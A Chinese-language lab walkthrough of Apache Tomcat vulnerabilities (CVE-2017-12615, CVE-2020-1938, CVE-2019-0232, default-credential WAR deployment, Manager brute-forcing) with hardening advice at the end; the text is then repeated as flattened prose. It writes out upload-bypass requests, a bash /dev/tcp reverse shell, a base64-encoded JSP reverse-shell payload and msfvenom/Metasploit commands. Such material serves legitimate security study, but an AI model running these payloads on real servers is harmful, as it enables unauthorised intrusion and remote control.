tomcat漏洞大杂烩
字数 1575 2025-08-03 16:43:13

Apache Tomcat 漏洞分析与利用指南

1. Tomcat 简介

Apache Tomcat 是 Apache 软件基金会 Jakarta 项目中的核心项目,是一个开源的轻量级 Web 应用服务器,支持最新的 Servlet 和 JSP 规范。由于其技术先进、性能稳定且免费,Tomcat 成为开发和调试 JSP 程序的首选,广泛应用于中小型系统和并发访问用户不多的场景。

2. CVE-2017-12615 - 任意文件写入漏洞

漏洞原理

  • 影响版本:Tomcat 7.0.0-7.0.81
  • 漏洞成因:当 conf/web.xml 中的 readonly 参数设置为 false 时,攻击者可以使用 PUT 方法上传任意文件
  • 限制:默认阻止 JSP 后缀文件的上传

漏洞复现步骤

  1. 环境搭建:使用 vulnhub 的 docker 环境

    sudo docker-compose up -d
    docker ps
    
  2. 验证配置:

    sudo docker exec -ti ec bash
    cat conf/web.xml | grep readonly
    
  3. 测试文件上传:

    PUT /test.txt HTTP/1.1
    Host: target:8080
    Content-Length: 7
    
    testpoc
    
  4. JSP 文件上传绕过方法:

    • 空格绕过PUT /a001.jsp%20 HTTP/1.1
    • 路径分隔符绕过PUT /a001.jsp/http:/1.1
    • NTFS 流绕过PUT /a001.jsp::$DATA HTTP/1.1
  5. 验证上传成功并连接 webshell

3. CVE-2020-1938 - AJP 文件包含漏洞

漏洞原理

  • Tomcat 配置了两个 Connector:HTTP(8080) 和 AJP(8009)
  • AJP 协议设计缺陷导致攻击者可读取或包含 Tomcat 上所有 webapp 目录下的任意文件
  • 配合文件上传功能可实现远程代码执行

漏洞复现步骤

  1. 使用漏洞检测工具:

    git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
    cd CNVD-2020-10487-Tomcat-Ajp-lfi
    python CNVD-2020-10487-Tomcat-Ajp-lfi.py
    
  2. 读取敏感文件:

    python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml
    
  3. 反弹 shell 利用:

    • 生成 base64 编码的 payload:
      bash -i >& /dev/tcp/192.168.1.8/8888 0>&1
      
    • 使用 Java Runtime 执行:
      <%
          java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
          int a = -1;
          byte[] b = new byte[2048];
          out.print("<pre>");
          while((a=in.read(b))!=-1){
              out.println(new String(b));
          }
          out.print("</pre>");
      %>
      
  4. MSF 利用:

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt
    

4. 弱口令 & WAR 远程部署漏洞

漏洞原理

  • Tomcat 8 默认后台密码:tomcat/tomcat
  • 通过上传 WAR 文件实现远程代码执行

漏洞复现步骤

  1. 访问后台管理地址:

    http://192.168.1.8:8080/manager/html
    
  2. 使用默认凭证登录:tomcat/tomcat

  3. 制作恶意 WAR 文件:

    jar -cvf test.war .
    
  4. 上传并部署 WAR 文件

  5. 使用冰蝎或其他工具连接 webshell

  6. MSF 自动化利用:

    use exploit/multi/http/tomcat_mgr_upload
    set HttpPassword tomcat
    set HttpUsername tomcat
    set rhost 192.168.1.8
    set rport 8080
    run
    

5. CVE-2019-0232 - Apache Tomcat RCE 漏洞

漏洞原理

  • 影响 CGI Servlet 组件
  • Windows 系统中 Runtime.getRuntime().exec 实现方式导致命令注入
  • 需要启用 enableCmdLineArguments 参数

漏洞复现步骤

  1. 修改 conf/web.xml

    • 取消 CGIServlet 注释
    • 添加配置:
      <init-param>
          <param-name>enableCmdLineArguments</param-name>
          <param-value>true</param-value>
      </init-param>
      <init-param>
          <param-name>executable</param-name>
          <param-value></param-value>
      </init-param>
      
  2. 修改 conf/context.xml

    <Context privileged="true">
    
  3. 创建测试脚本:

    • webapps/ROOT/WEB-INF/cgi-bin/ 下创建 hello.bat
  4. 触发漏洞:

    http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
    

6. Manager App 暴力破解

漏洞原理

  • 后台密码使用 Base64 编码传输
  • 可抓包解密或进行暴力破解

漏洞复现步骤

  1. 访问管理页面并抓包:

    http://192.168.1.8:8000/manager/html
    
  2. 分析 Authorization 字段(Base64 编码)

  3. 暴力破解方法:

    • 添加 Authorization 头部
    • 使用字典攻击

7. 防护建议

  1. 及时更新 Tomcat 到最新版本
  2. 禁用 PUT 方法或确保 readonly=true
  3. 禁用 AJP 协议或限制 AJP 端口访问
  4. 修改默认管理员密码
  5. 限制 Manager App 的访问权限
  6. 禁用不必要的功能(如 CGI)
  7. 实施网络层访问控制
  8. 定期进行安全审计和漏洞扫描

通过全面了解这些 Tomcat 漏洞及其利用方法,安全人员可以更好地评估和加固 Tomcat 服务器的安全性,防止潜在的攻击。

Apache Tomcat 漏洞分析与利用指南 1. Tomcat 简介 Apache Tomcat 是 Apache 软件基金会 Jakarta 项目中的核心项目,是一个开源的轻量级 Web 应用服务器,支持最新的 Servlet 和 JSP 规范。由于其技术先进、性能稳定且免费,Tomcat 成为开发和调试 JSP 程序的首选,广泛应用于中小型系统和并发访问用户不多的场景。 2. CVE-2017-12615 - 任意文件写入漏洞 漏洞原理 影响版本:Tomcat 7.0.0-7.0.81 漏洞成因:当 conf/web.xml 中的 readonly 参数设置为 false 时,攻击者可以使用 PUT 方法上传任意文件 限制:默认阻止 JSP 后缀文件的上传 漏洞复现步骤 环境搭建:使用 vulnhub 的 docker 环境 验证配置: 测试文件上传: JSP 文件上传绕过方法: 空格绕过 : PUT /a001.jsp%20 HTTP/1.1 路径分隔符绕过 : PUT /a001.jsp/http:/1.1 NTFS 流绕过 : PUT /a001.jsp::$DATA HTTP/1.1 验证上传成功并连接 webshell 3. CVE-2020-1938 - AJP 文件包含漏洞 漏洞原理 Tomcat 配置了两个 Connector:HTTP(8080) 和 AJP(8009) AJP 协议设计缺陷导致攻击者可读取或包含 Tomcat 上所有 webapp 目录下的任意文件 配合文件上传功能可实现远程代码执行 漏洞复现步骤 使用漏洞检测工具: 读取敏感文件: 反弹 shell 利用: 生成 base64 编码的 payload: 使用 Java Runtime 执行: MSF 利用: 4. 弱口令 & WAR 远程部署漏洞 漏洞原理 Tomcat 8 默认后台密码:tomcat/tomcat 通过上传 WAR 文件实现远程代码执行 漏洞复现步骤 访问后台管理地址: 使用默认凭证登录:tomcat/tomcat 制作恶意 WAR 文件: 上传并部署 WAR 文件 使用冰蝎或其他工具连接 webshell MSF 自动化利用: 5. CVE-2019-0232 - Apache Tomcat RCE 漏洞 漏洞原理 影响 CGI Servlet 组件 Windows 系统中 Runtime.getRuntime().exec 实现方式导致命令注入 需要启用 enableCmdLineArguments 参数 漏洞复现步骤 修改 conf/web.xml : 取消 CGIServlet 注释 添加配置: 修改 conf/context.xml : 创建测试脚本: 在 webapps/ROOT/WEB-INF/cgi-bin/ 下创建 hello.bat 触发漏洞: 6. Manager App 暴力破解 漏洞原理 后台密码使用 Base64 编码传输 可抓包解密或进行暴力破解 漏洞复现步骤 访问管理页面并抓包: 分析 Authorization 字段(Base64 编码) 暴力破解方法: 添加 Authorization 头部 使用字典攻击 7. 防护建议 及时更新 Tomcat 到最新版本 禁用 PUT 方法或确保 readonly=true 禁用 AJP 协议或限制 AJP 端口访问 修改默认管理员密码 限制 Manager App 的访问权限 禁用不必要的功能(如 CGI) 实施网络层访问控制 定期进行安全审计和漏洞扫描 通过全面了解这些 Tomcat 漏洞及其利用方法,安全人员可以更好地评估和加固 Tomcat 服务器的安全性,防止潜在的攻击。